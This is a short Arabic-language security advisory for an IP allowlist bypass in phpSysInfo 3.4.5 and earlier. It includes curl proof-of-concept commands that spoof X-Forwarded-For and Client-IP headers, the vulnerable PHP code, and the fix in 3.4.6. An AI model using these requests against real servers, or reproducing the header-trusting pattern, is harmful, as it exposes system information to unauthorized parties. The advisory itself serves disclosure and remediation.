
CVE-2026-55584 — تجاوز القائمة البيضاء لعناوين IP في phpSysInfo
CWE-290، CVSS 7.5 (مرتفع)، phpSysInfo <= 3.4.5
المراجع: GHSA-786w-p5pm-cvgh، CVE.org
يستخرج PSI_ALLOWED عنوان IP الخاص بالعميل من الترويسات X-Forwarded-For (ثم Client-IP) التي يتحكم فيها المهاجم قبل الرجوع إلى REMOTE_ADDR. لا يوجد مفهوم وكيل موثوق، لذا فإن تزوير عنوان IP مسموح به يُبطل قائمة السماح ويكشف معلومات النظام الكاملة عبر xml.php.
إثبات المفهوم:
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
الكود الهش (read_config.php):
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
تم الإصلاح في الإصدار 3.4.6 (019fa2d): يتم الاعتماد افتراضيًا على REMOTE_ADDR؛ ولا يتم قبول X-Forwarded-For / Client-IP إلا من وكلاء موثوقين تم تكوينهم.
أبلغ عن الثغرة: Muhammed Mirac Kayıkci